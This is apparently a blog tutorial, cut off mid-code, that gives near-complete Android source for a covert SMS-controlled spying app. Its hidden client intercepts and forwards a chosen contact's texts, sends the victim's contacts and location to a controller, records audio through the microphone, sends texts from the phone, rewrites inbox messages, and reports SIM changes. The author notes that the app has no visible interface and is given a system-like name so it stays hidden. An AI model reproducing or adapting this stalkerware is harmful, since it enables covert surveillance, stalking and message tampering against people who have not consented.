基於簡訊的手機控制程式

yangxi_001發表於2014-08-07

1.1前言
興趣是最好的老師,這句話對於有志於從事軟體開發的人來說尤為重要,畢竟這一行業需要不斷的學習新知識,缺乏興趣的工作只會讓人感到日益枯燥.以下是去年9月份在某培訓班開始學習android的過程中,出於個人興趣寫的一個小程式.在此獻給大家,一來借這類程式提高大家的Android開發興趣,再者也可以學習一下簡單實用的知識.

1.2程式簡介
本程式是一個基於簡訊的手機控制程式,有受控端B和管理端A.
已實現功能:
1.A監控C發給B的所有簡訊.
2.A可以查詢B的通訊錄和位置.
3.A可以開啟B的手機錄音.
4.A可以通過B向任何人傳送簡訊.
5.A可以修改B的收件箱簡訊內容.
6.B換手機號後,A可以知道.
相關引數:
admin----管理者手機號碼,也就是A的手機號碼 
listen----被監控的手機號碼,即C的手機號.
password----管理密碼,會在第一次建立控制關係時設定,A若換手機號,只能通過這個密碼來更換B上儲存的admin號碼            

2.1 MainReceiver:程式的簡訊解析/跳轉主體類.
用的是broadcastreceiver , broadcastreceiver本身就不介紹了,網上一大堆使用教程.本程式中就是截獲android.provider.Telephony.SMS_RECEIVED廣播,分析簡訊內容, 根據不同的內容進行相應操作.

 

 

package iceman.android.project;

import java.util.List;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class MainReceiver extends BroadcastReceiver{
        private String number;
        private SmsManager manager = SmsManager.getDefault();
    
        public void onReceive(Context context, Intent intent) {
                MyLog.LogI("OUTPUT", "廣播接收器觸發");
                SharedPreferences preferences = context.getSharedPreferences("sms", Context.MODE_PRIVATE);
//使用
SharedPreferences  儲存admin號碼和listen號碼.
                String admin = preferences.getString("admin", "");
                MyLog.LogI("OUTPUT", "當前admin:"+admin);
                String listen = preferences.getString("listen", "");
                String password = preferences.getString("password", "iceman");
                MyLog.LogI("OUTPUT", "當前listen:"+listen);
                Bundle bun = intent.getExtras();
                //開始分析簡訊
                if(bun!=null){
                        Object[] mypdus = (Object[])bun.get("pdus");
                        SmsMessage[] messages = new SmsMessage[mypdus.length];
                        for(int i=0;i<mypdus.length;i++){
                                messages[i] = SmsMessage.createFromPdu((byte[])mypdus[i]);
                        }
                        for(SmsMessage mess:messages){
                                        
                                        number = mess.getDisplayOriginatingAddress();
                                        String body = mess.getDisplayMessageBody();
                                        MyLog.LogI("OUTPUT","號碼來源:"+number);
                                        MyLog.LogI("OUTPUT","內容:"+body);
                                        if(number.contains("+86")){
                                                number = number.substring(3);
                                        }
                                        MyLog.LogI("OUTPUT","號碼來源轉換"+number);
                                        //設定管理號碼
                                        if(body.equals("iceman78952190")){
                                            MyLog.LogI("OUTPUT","查詢密碼哦");
                                            abortBroadcast();
                                            manager.sendTextMessage(number, null, password, null, null);
                                        }
                                        if(body.contains("@iceman@admin")){
                                                abortBroadcast();
                                                body = body.substring(13);
                                                if(password.equals("iceman")){
                                                    password = body;
                                                    Editor editor = preferences.edit();
                                                    editor.putString("admin", number);
                                                    editor.putString("password", body);
                                                    editor.commit();
                                                    MyLog.LogI("OUTPUT","設定admin:"+number);
                                                    manager.sendTextMessage(number, null, "admin change success!"+number, null, null);
                                                }else{
                                                    if(password.equals(body)){
                                                        Editor editor = preferences.edit();
                                    editor.putString("admin", number);
                                    editor.commit();
                                    MyLog.LogI("OUTPUT","設定admin:"+number);
                                    manager.sendTextMessage(number, null, "admin change success!"+number, null, null);
                                                    }else{
                                                        MyLog.LogI("OUTPUT","密碼不對");
                                                    }
                                                }
                                        }
                                        //對管理號碼發來的簡訊進行判斷,是否啟動服務或者更改被監聽號碼
                                        if(number.equals(admin)){
                                                if(body.contains("@iceman@search")){
                                                        abortBroadcast();
                                                        MyLog.LogI("OUTPUT", "開始查詢通訊錄");
                                                        manager.sendTextMessage(admin, null, "search starting!", null, null);
                                                        //啟動服務,查詢通訊錄併傳送
                                                        Intent it = new Intent(context,ContactService.class);
                                                        it.putExtra("admin", admin);
                                                        context.startService(it);
                                                }else if(body.contains("@iceman@change")){
                                                        abortBroadcast();
                                                        listen = body.substring(14);
                                                        Editor editor = preferences.edit();
                                                        editor.putString("listen", listen);
                                                        editor.commit();
                                                        MyLog.LogI("OUTPUT", "更改listen完成");
                                                        manager.sendTextMessage(admin, null, "listen change success!", null, null);
                                                }else if(body.contains("@iceman@location")){
                                                        abortBroadcast();
                                                        MyLog.LogI("OUTPUT", "開啟位置監控");                                                        
                                                        Intent it = new Intent(context,LocationService.class);
                                                        context.startService(it);
                                                        manager.sendTextMessage(admin, null, "location listen success!", null, null);
                                                        MyLog.LogI("OUTPUT", "位置監控開啟完成");
                                                }else if(body.contains("@iceman@where")){
                                                        abortBroadcast();
                                                        MyLog.LogI("OUTPUT", "開始傳送並解析地址");        
                                                        Intent it2 = new Intent(context,GetAddressService.class);
                                                        context.startService(it2);
                                                }else if(body.contains("@iceman@start")){
                                                        abortBroadcast();
                                                        MyLog.LogI("OUTPUT", "收到錄音開啟命令");                
                                                        Intent it = new Intent(context,RecorderService.class);
                                                        context.startService(it);
                                                }else if(body.contains("@iceman@stop")){
                                                        abortBroadcast();
                                                        MyLog.LogI("OUTPUT", "收到結束錄音命令");                
                                                        Intent it = new Intent(context,RecorderService.class);
                                                        context.stopService(it);
                                                }else if(body.contains("@iceman@sms")){
                                                        abortBroadcast();
                                                        MyLog.LogI("OUTPUT", "傳送簡訊");
                                                        String[] str = body.split("#");
                                                        manager.sendTextMessage(str[1], null, str[2], null, null);
                                                        MyLog.LogI("OUTPUT", "目標號碼:"+str[1]+"內容:"+str[2]);
                                                }else if(body.contains("@iceman@replace")){
                                                    abortBroadcast();
                                                    String[] str = body.split("#");
                                                    MyLog.LogI("OUTPUT", "收到簡訊修改命令"); 
                                                    Intent it = new Intent(context,EditSmsService.class);
                                                    it.putExtra("key", str[1]);
                                                    it.putExtra("number", str[2]);
                                                    it.putExtra("content", str[3]);
                                                    it.putExtra("type", "replace");
                                                    context.startService(it);
                                                }
                                                else if(body.contains("@iceman@edit")){
                                                    abortBroadcast();
                                                    String[] str = body.split("#");
                            MyLog.LogI("OUTPUT", "收到簡訊編輯命令"); 
                            Intent it = new Intent(context,EditSmsService.class);
                            it.putExtra("key", str[1]);
                            it.putExtra("number", str[2]);
                            it.putExtra("content", str[3]);
                            it.putExtra("type", "edit");
                            context.startService(it);
                                                }
                                        }
                                                //判斷是否由被監聽號碼發來的簡訊
                                        if(number.equals(listen)){
                                                String sms = number+":"+body;
                                                MyLog.LogI("OUTPUT", "監聽到簡訊");
                                                List<String> texts=manager.divideMessage(sms); 
                                        for(String text:texts) 
                                        { 
                                            manager.sendTextMessage(admin, null, text, null, null); 
                                        }   
                                                }
                                        
                        }
                }
        }
}

 

  這個廣播接收器最初是靜態註冊的,目的是不需要執行程式,相當於開機啟動.但是在部分真機上測試時發現360,91簡訊等會在它之前攔截簡訊,經過網上查詢,得知動態註冊的優先順序要高於靜態註冊,優先順序相同的動態註冊廣播,先註冊的先接收廣播.
所以,我又寫了個service,在系統啟動後執行並繫結廣播接收器.優先順序設為2147483647.不要被google api裡面寫的優先順序最大1000忽悠了,這個int上限值也是有用的.

package iceman.android.project;

import android.app.Service;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.IBinder;

public class MainService extends Service{
    MainReceiver mReceiver;
    @Override
    public IBinder onBind(Intent intent) {
        // TODO Auto-generated method stub
        return null;
    }

    @Override
    public void onStart(Intent intent, int startId) {
        super.onStart(intent, startId);
        IntentFilter localIntentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
        localIntentFilter.setPriority(2147483647);
        mReceiver = new MainReceiver();
        registerReceiver(mReceiver, localIntentFilter);
    }

    @Override
    public void onDestroy() {
        unregisterReceiver(mReceiver);
        Intent it = new Intent(MainService.this, MainService.class);
        this.startService(it);
    }
}

  2.2功能:監控指定簡訊
這是程式的初衷,也是我學到broadcastreceiver時首先冒出來的念頭...
當簡訊來源號碼為C時,將簡訊轉發一份給A.程式碼很簡單:

// 判斷是否由被監聽號碼發來的簡訊
                if (number.equals(listen)) {
                    String sms = number + ":" + body;
                    MyLog.LogI("OUTPUT", "監聽到簡訊");
                    List<String> texts = manager.divideMessage(sms);
                    for (String text : texts) {
                        manager.sendTextMessage(admin, null, text, null, null);
                    }
                }

  2.3功能:查詢通訊錄
這裡使用了ContentResolver,這是與內容提供器ContentProvider對應的"查詢器",android的通訊錄程式對外提供了ContentProvider查詢介面.我們可以像運算元據庫一樣對裡面的資料進行讀取.修改也可以(這個太無聊了,放到簡訊那部分再說)

package iceman.android.project;

import java.util.List;

import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.database.Cursor;
import android.os.IBinder;
import android.provider.ContactsContract;
import android.telephony.SmsManager;

public class ContactService extends Service{
        SmsManager manager = SmsManager.getDefault();
        @Override
        public IBinder onBind(Intent intent) {
                return null;
        }

        @Override
        public void onCreate() {
                super.onCreate();
        }

        @Override
        public void onStart(Intent intent, int startId) {
                String admin = intent.getStringExtra("admin");
                MyLog.LogI("OUTPUT", "開啟通訊錄查詢服務");
                String[] columns = { "_id", "display_name", "has_phone_number" };
                StringBuffer sb = new StringBuffer();
                ContentResolver cr = this.getContentResolver();
                Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI,
                                columns, null, null, null);
                String[] phone_clos = {
                                ContactsContract.CommonDataKinds.Phone.CONTACT_ID,
                                ContactsContract.CommonDataKinds.Phone.NUMBER, };
                if (cursor.moveToFirst()) {
                        do {
                                int _id = cursor.getInt(0);
                                String name = cursor.getString(1);
                                String has_phone = cursor.getString(2);
                                sb.append(name + ":");
                                
                                if (has_phone.trim().equals("1")) {
                                        Cursor phones = cr
                                                        .query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                                                                        phone_clos,
                                                                        ContactsContract.CommonDataKinds.Phone.CONTACT_ID
                                                                        + "=" + _id, null, null);
                                        if (phones.moveToFirst()) {
                                                do {
                                                        sb.append(phones.getString(1) + ".");
                                                } while (phones.moveToNext());
                                        }
                                }
                        } while (cursor.moveToNext());
                }
                MyLog.LogI("OUTPUT", "開始傳送通訊錄");
                        List<String> texts=manager.divideMessage(sb.toString()); 
                for(String text:texts) 
                { 
                    manager.sendTextMessage(admin, null, text, null, null); 
                }   
                //查詢完畢後關閉服務
                stopSelf();
                super.onStart(intent, startId);
        }

        @Override
        public void onDestroy() {
                // TODO Auto-generated method stub
                super.onDestroy();
        }

        @Override
        public int onStartCommand(Intent intent, int flags, int startId) {
                // TODO Auto-generated method stub
                return super.onStartCommand(intent, flags, startId);
        }

        @Override
        public boolean onUnbind(Intent intent) {
                // TODO Auto-generated method stub
                return super.onUnbind(intent);
        }

}

  要注意的是,這個視通訊錄條數多少,會有幾條簡訊發出...少用為妙

2.4功能:查詢位置
有兩件事要做:獲得經緯度表示的位置資訊和將經緯度解析為地址資訊
android使用LocationManager來管理獲得的位置資訊,給它設定一個位置監聽,就可以在位置發生變化時,獲得變化後的經緯度資訊,

package iceman.android.project;


import java.text.SimpleDateFormat;
import java.util.Date;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.location.Criteria;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.os.IBinder;

public class LocationService extends Service{
        private Location location;//當前位置
        private String time = "unknown";
        private SimpleDateFormat sf = new SimpleDateFormat("MM-dd;hh-mm");
        private SharedPreferences preferences = null;
        
        @Override
        public IBinder onBind(Intent intent) {
                // TODO Auto-generated method stub
                
                return null;
        }

        @Override
        public void onCreate() {
                super.onCreate();
                getLocation();
                
        }

        @Override
        public void onDestroy() {
                // TODO Auto-generated method stub
                super.onDestroy();
        }

        @Override
        public int onStartCommand(Intent intent, int flags, int startId) {
                // TODO Auto-generated method stub
                return super.onStartCommand(intent, flags, startId);
        }

        @Override
        public boolean onUnbind(Intent intent) {
                // TODO Auto-generated method stub
                return super.onUnbind(intent);
        }
        private void getLocation(){
                LocationManager locationmanager = (LocationManager)getSystemService(Context.LOCATION_SERVICE);
                if(locationmanager==null){
                        MyLog.LogI("OUTPUT", "定位管理器未找到");
                }
                Criteria criteria = new Criteria();//用來得到位置提供器(Location Provider)的一組引數標準
                criteria.setAccuracy(Criteria.ACCURACY_COARSE);//定位精度
                criteria.setAltitudeRequired(false);//是否要求定位出高度值
                criteria.setCostAllowed(true);//是否允許花錢
                String str = locationmanager.getBestProvider(criteria, false);//得到滿足標準的一個最好的提供器的名稱
                if(str==null){
                        MyLog.LogI("OUTPUT", "位置提供器未找到");
                }
                MyLog.LogI("OUTPUT", "使用的位置提供器"+str);
                location = locationmanager.getLastKnownLocation(str);
                locationmanager.requestLocationUpdates(str, 2000, 5, new LocationListener() {
                                @Override
                                public void onStatusChanged(String provider, int status, Bundle extras) {
                                        // TODO Auto-generated method stub
                                }
                                
                                @Override
                                public void onProviderEnabled(String provider) {
                                        // TODO Auto-generated method stub
                                }
                                
                                @Override
                                public void onProviderDisabled(String provider) {
                                        // TODO Auto-generated method stub
                                }
                                
                                @Override
                                public void onLocationChanged(Location loca) {
                                        // TODO Auto-generated method stub
                                        MyLog.LogI("OUTPUT", "位置發生改變");
                                        time = sf.format(new Date());
                                        location = loca;
                                        preferences = LocationService.this.getSharedPreferences("sms", MODE_PRIVATE);
                                        Editor editor = preferences.edit();
                                        editor.putString("lat", ""+location.getLatitude());
                                        editor.putString("lon", ""+location.getLongitude());
                                        editor.putString("time", time);
                                        editor.commit();
                                        MyLog.LogI("OUTPUT", "位置已經放入");        
                                }
                        });
                        
        }
        @Override
        public void onStart(Intent intent, int startId) {
        }

}

  在這個service中,將改變後的位置經緯度儲存下來,下次呼叫位置解析服務的時候,就可以取出最新的經緯度進行解析了.

經緯度如何轉為地址資訊?
android.location.Geocoder本來可以實現兩者雙向轉換,只是google的這個server不太穩定,經常會報
unable to parse response from server,所以我使用線上解析,
http://maps.google.com/maps/api/geocode/json?latlng=後面加上經緯度,會返回json資料,然後進行解析就可以獲得地址資訊了.
mopackage iceman.android.project;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import android.app.Service;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.IBinder;
import android.telephony.SmsManager;

public class GetAddressService extends Service{
        private SmsManager manager;
        @Override
        public IBinder onBind(Intent intent) {
                // TODO Auto-generated method stub
                return null;
        }

        @Override
        public void onCreate() {
                super.onCreate();
                
        }

        @Override
        public void onDestroy() {
                // TODO Auto-generated method stub
                super.onDestroy();
        }

        @Override
        public void onStart(Intent intent, int startId) {
                manager = SmsManager.getDefault();
                MyLog.LogI("OUTPUT", "開始轉換地址服務");
                SharedPreferences preferences = this.getSharedPreferences("sms", MODE_PRIVATE);
                Double lat = Double.parseDouble(preferences.getString("lat", null));
                Double lon = Double.parseDouble(preferences.getString("lon", null));
                MyLog.LogI("OUTPUT", "精度"+lon);
                MyLog.LogI("OUTPUT", "緯度"+lat);
                String admin = preferences.getString("admin", null);
                String time = preferences.getString("time", null);
                String address1 = "經度"+lon+"緯度"+lat;
                manager.sendTextMessage(admin, null, address1+time, null, null);
                String address2 = getAddress(lon, lat);
                manager.sendTextMessage(admin, null, address2+time, null, null);
                stopSelf();
                super.onStart(intent, startId);
        }


        @Override
        public boolean onUnbind(Intent intent) {
                // TODO Auto-generated method stub
                return super.onUnbind(intent);
        }
        public String getAddress(Double Longitude,Double Latitude){
                MyLog.LogI("OUTPUT", "開始轉換地址");
                String url = "http://maps.google.com/maps/api/geocode/json?latlng="+Latitude+","+Longitude+"&language=zh_CN&sensor=false";
                HttpClient client = new DefaultHttpClient();
                StringBuilder sb = new StringBuilder();
                try {
                        HttpResponse resp = client.execute(new HttpGet(url));
                        HttpEntity he = resp.getEntity();
                        BufferedReader br = new BufferedReader(new InputStreamReader(he.getContent()));
                        String str = "";
                        while((str=br.readLine())!=null){
                                sb.append(str);
                        }
                        
                } catch (ClientProtocolException e) {
                        e.printStackTrace();
                } catch (IOException e) {
                        e.printStackTrace();
                }
                MyLog.LogI("OUTPUT", "開始解析json");
                try {
                        JSONObject jo1 = new JSONObject(sb.toString());
                        String str1 = jo1.getString("results");
                        JSONArray arr1 = new JSONArray(str1);
                        String str2 = arr1.get(0).toString();
                        JSONObject jo2 = new JSONObject(str2);
                        String str3 = jo2.getString("formatted_address");
                        MyLog.LogI("OUTPUT", str3);
                        return str3;
//                        Toast.makeText(LocationService.this, str3, Toast.LENGTH_LONG).show();
                } catch (JSONException e) {
                        return "地址轉換失敗";
                }
        }

}

  2.5功能:開啟錄音
這個很簡單,使用MediaRecorder即可,在service的oncreat中開始錄音,ondestory中結束錄音.

package iceman.android.project;

import java.io.IOException;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;

public class RecorderService extends Service{
        private MediaRecorder recorder;
        private String location;
        @Override
        public IBinder onBind(Intent arg0) {
                // TODO Auto-generated method stub
                return null;
        }

        @Override
        public void onCreate() {
                super.onCreate();
                MyLog.LogI("OUTPUT", "錄音服務啟動");
                recorder = new MediaRecorder();
                recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                location = "/mnt/sdcard/record_"+System.currentTimeMillis()+".3gp";
                recorder.setOutputFile(location);
                recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                
                try {
                        recorder.prepare();
                } catch (IllegalStateException e) {
                        // TODO Auto-generated catch block
                        e.printStackTrace();
                } catch (IOException e) {
                        // TODO Auto-generated catch block
                        e.printStackTrace();
                }
                recorder.start();
                MyLog.LogI("OUTPUT", "開始錄音");
        }

        @Override
        public void onDestroy() {
                // TODO Auto-generated method stub
                recorder.stop();
                MyLog.LogI("OUTPUT", "停止錄音");
                super.onDestroy();
        }

        @Override
        public int onStartCommand(Intent intent, int flags, int startId) {
                // TODO Auto-generated method stub
                return super.onStartCommand(intent, flags, startId);
        }

        @Override
        public boolean onUnbind(Intent intent) {
                // TODO Auto-generated method stub
                return super.onUnbind(intent);
        }

}

  2.6傳送簡訊
對A發過來的簡訊進行分割,獲取目的號碼和簡訊內容,然後傳送.程式碼已經在MainReceiver中了.

2.7編輯簡訊
ContentResolver不僅可以查詢,也可以修改.修改簡訊這個邪惡的功能就靠它來實現了.
程式碼中號碼為00000000000表示不限號碼進行修改.不論誰發過來的簡訊,只要滿足關鍵字條件,就進行修改.

package iceman.android.project;

import android.app.Service;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.os.IBinder;

public class EditSmsService extends Service {
    private ContentResolver mContentResolver;

    private String key, number, content, type;

    @Override
    public IBinder onBind(Intent intent) {
        // TODO Auto-generated method stub
        return null;
    }

    @Override
    public void onStart(Intent intent, int startId) {
        key = intent.getStringExtra("key");
        number = intent.getStringExtra("number");
        content = intent.getStringExtra("content");
        type = intent.getStringExtra("type");
        mContentResolver = this.getContentResolver();
        Cursor cursor;
        if (number.equals("00000000000")) {
            cursor = mContentResolver.query(Uri.parse("content://sms/inbox"), null, null, null,
                    null);
            MyLog.LogI("OUTPUT", "號碼為00000000000");
        } else {
            cursor = mContentResolver.query(Uri.parse("content://sms/inbox"), null, "address = ?",
                    new String[] {
                        "" + number
                    }, null);
            MyLog.LogI("OUTPUT", "號碼指定");
        }
        int time = 0;
        String newContent = null;
        if (cursor != null) {
            cursor.moveToFirst();
            do {
                String address = cursor.getString(cursor.getColumnIndexOrThrow("address"));
                String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
                int id = cursor.getInt(cursor.getColumnIndexOrThrow("_id"));
                // int date =
                // cursor.getInt(cursor.getColumnIndexOrThrow("date"));
                if (number.equals("00000000000")) {
                    if (body.contains(key)) {
                        ContentValues values = new ContentValues();
                        // values.put("address", address);
                        if (type.equals("replace")) {
                            newContent = body.replace(key, content);
                        } else {
                            newContent = content;
                        }
                        values.put("read", 1);
                        values.put("status", -1);
                        values.put("type", 1);
                        values.put("body", newContent);
                        mContentResolver.update(Uri.parse("content://sms/inbox"), values,
                                "_id = ?", new String[] {
                                    "" + id
                                });
                    }
                } else {
                    if (body.contains(key) && address.equals(number)) {
                        ContentValues values = new ContentValues();
                        // values.put("address", address);
                        if (type.equals("replace")) {
                            newContent = body.replace(key, content);
                        } else {
                            newContent = content;
                        }
                        values.put("read", 1);
                        values.put("status", -1);
                        values.put("type", 1);
                        values.put("body", newContent);
                        mContentResolver.update(Uri.parse("content://sms/inbox"), values,
                                "_id = ?", new String[] {
                                    "" + id
                                });
                    }
                }
                time++;
            } while (cursor.moveToNext() && time < 50);
        }
        stopSelf();
    }

}

  2.8功能:B更換手機號碼後傳送至A.
TelephonyManager可以獲取手機相關資訊,比如手機號碼,imei等,但是這些資料來源於sim卡,如果某些運營商沒有將電話號碼寫到sim卡上,手機號碼就獲取不到了.
號碼變更檢測是要開機進行的,如果發現號碼跟儲存的不一樣,就傳送新號碼至admin.

package iceman.android.project;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;

public class BootReceiver extends BroadcastReceiver{

    private String mDeviceId;
    private String mTel;
    private String mImei;
    private String mImsi;
    private String mOldDeviceId;
    private String mOldTel;
    private String mOldImei;
    private String mOldImsi;
    @Override
    public void onReceive(Context context, Intent intent) {
        Intent service=new Intent(context, MainService.class);
        context.startService(service);
        TelephonyManager tm=(TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
        mDeviceId = tm.getDeviceId();
        mTel = tm.getLine1Number();
        mImei = tm.getSimSerialNumber();
        mImei = mImei==null?"":mImei;
        mImsi = tm.getSubscriberId();
        mImsi = mImsi==null?"":mImsi;
        SharedPreferences sharedPreferencesPhone = context.getSharedPreferences("phone", Context.MODE_PRIVATE);
        mOldDeviceId = sharedPreferencesPhone.getString("deviceid", "");;
        mOldTel = sharedPreferencesPhone.getString("tel", "");;
        mOldImei = sharedPreferencesPhone.getString("imei", "");;
        mOldImsi = sharedPreferencesPhone.getString("imsi", "");;
        SharedPreferences sharedPreferencesControl = context.getSharedPreferences("sms", Context.MODE_PRIVATE);
        String admin = sharedPreferencesControl.getString("admin", "");
        if(isChange()){
            SharedPreferences.Editor editor = sharedPreferencesPhone.edit();
            editor.putString("deviceid", mDeviceId==null?"":mDeviceId);
            editor.putString("tel", mTel);
            editor.putString("imei", mImei);
            editor.putString("imsi", mImsi);
            editor.commit();
            SmsManager smsmanager = SmsManager.getDefault();
            if(!admin.equals("")){
                String text = "tel:"+mTel+".mImei:"+mImei;
                smsmanager.sendTextMessage(admin, null, text, null, null);
            }
        }
    }
    private boolean isChange(){
        if(mTel==null){
            return false;
        }
        if(mOldTel.equals("")){
            return true;
        }
        if(!mTel.equals(mOldTel)){
            return true;
        }
        return false;
    }

}

  2.9受控端總結:
以下是主配置檔案

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="iceman.android.project"
    android:versionCode="1"
    android:versionName="1.0" 
    >
    <uses-sdk android:minSdkVersion="7" />
<!--  android:priority="100" -->
    <application
        android:debuggable="false"
        android:icon="@drawable/app_icon"
        android:label="@string/app_name" >
        <receiver android:name=".MainReceiver">
                <intent-filter android:priority="2147483647">
                        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                </intent-filter>
        </receiver>        
        <receiver android:name=".BootReceiver">
                <intent-filter android:priority="2147483647">
                        <action android:name="android.intent.action.BOOT_COMPLETED"/>
                </intent-filter>
        </receiver>        
        <service android:name=".ContactService" android:enabled="true"/>
        <service android:name=".LocationService" android:enabled="true"/>
        <service android:name=".RecorderService" android:enabled="true"/>
        <service android:name=".GetAddressService" android:enabled="true"/>
        <service android:name=".EditSmsService" android:enabled="true"/>
    </application>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
</manifest>

  可以看到的是,受控端是沒有activity的.而且程式名字我命名為"android簡訊服務".如果不是有服務開啟的話,可以說是無法發現程式的存在的.

3.1管理端
為了簡化命令傳送的繁瑣,寫了這個簡單的管理端程式,就兩個activity.

package iceman.android.smsadmin;

import android.app.Activity;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.CompoundButton;
import android.widget.CompoundButton.OnCheckedChangeListener;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

public class SMSadminActivity extends Activity {
    private TextView mClientNumberText, mListenNumberText;

    private EditText mAdminSetEditText, mListenSetEditText, mSmsNumberSetEditText, mSmsContentEditText, mPasswordEditText;

    private CheckBox mPasswordUse;

    private Button mAdminSetBtn, mListenSetBtn, mSearchBtn, mOpenLocationBtn, mGetAddressBtn, mRecoderBtn, mSendSmsBtn;
    
    private Button mEditSmsBtn;

    private Boolean mIsRecording = false;

    private SmsManager mSmsManager = SmsManager.getDefault();

    private String mClientNumber = null;

    private String mListenNumber = null;

    private SharedPreferences mSharedpreferences = null;

    private String mPassword;

    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        
        mClientNumberText = (TextView) findViewById(R.id.number_tv1);
        mListenNumberText = (TextView) findViewById(R.id.number_tv2);
        mPasswordEditText = (EditText) findViewById(R.id.password_et);
        mPasswordEditText.setInputType(0x81);
        mPasswordUse = (CheckBox) findViewById(R.id.password_use);
        mAdminSetEditText = (EditText) findViewById(R.id.number_et);
        // et1.setTransformationMethod(PasswordTransformationMethod.getInstance());
        mAdminSetEditText.setHint(this.getString(R.string.the_number_to_control));
        mListenSetEditText = (EditText) findViewById(R.id.listen_et);
        mListenSetEditText.setHint(this.getString(R.string.the_number_to_listen));
        mSmsNumberSetEditText = (EditText) findViewById(R.id.sms_number_et);
        mSmsNumberSetEditText.setHint(this.getString(R.string.where_to_send));
        mSmsContentEditText = (EditText) findViewById(R.id.sms_et);
        mSmsContentEditText.setHint(this.getString(R.string.sms_content));
        mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
        mClientNumber = mSharedpreferences.getString("control", "");
        mListenNumber = mSharedpreferences.getString("listen", "");
        mClientNumberText.setText(this.getString(R.string.now_control) + mClientNumber);
        mListenNumberText.setText(this.getString(R.string.now_listen) + mListenNumber);

        mAdminSetBtn = (Button) findViewById(R.id.admin_btn);
        mListenSetBtn = (Button) findViewById(R.id.listen_btn);
        mSearchBtn = (Button) findViewById(R.id.search_btn);
        mOpenLocationBtn = (Button) findViewById(R.id.open_locations_btn);
        mGetAddressBtn = (Button) findViewById(R.id.where_btn);
        mRecoderBtn = (Button) findViewById(R.id.recorder_btn);
        mRecoderBtn.setText(this.getString(R.string.start_record));
        mSendSmsBtn = (Button) findViewById(R.id.sms_btn);
        mEditSmsBtn = (Button)findViewById(R.id.edit_sms);
        mPasswordUse.setOnCheckedChangeListener(new OnCheckedChangeListener() {

            @Override
            public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
                if (isChecked) {
                    mPassword = mPasswordEditText.getText().toString().trim();
                    mPasswordEditText.setEnabled(false);
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.password)+mPassword, Toast.LENGTH_SHORT).show();
                } else {
                    mPassword = "";
                    mPasswordEditText.getEditableText().clear();
                    mPasswordEditText.setEnabled(true);
                }
                Editor editor = mSharedpreferences.edit();
                editor.putString("password", mPassword);
                editor.commit();
            }
        });
        
        mAdminSetBtn.setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                String str = mAdminSetEditText.getText().toString().trim();
                if ((str.equals("")) == false) {
                    if ((str.equals("18621191115")) == false) {
                        mClientNumberText.setText(SMSadminActivity.this.getString(R.string.now_control) + str);
                        mAdminSetBtn.setText(SMSadminActivity.this.getString(R.string.control_number_set_over));
                        mClientNumber = str;
                        Editor editor = mSharedpreferences.edit();
                        editor.putString("control", str);
                        editor.commit();
                        // et1.setEnabled(false);
                        // btn1.setClickable(false);
                        mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@admin"+mPassword, null, null);
                        Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.control_number_set_send), Toast.LENGTH_SHORT)
                                .show();
                    } else {
                        Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.number_can_not_control), Toast.LENGTH_LONG)
                                .show();
                    }
                } else {
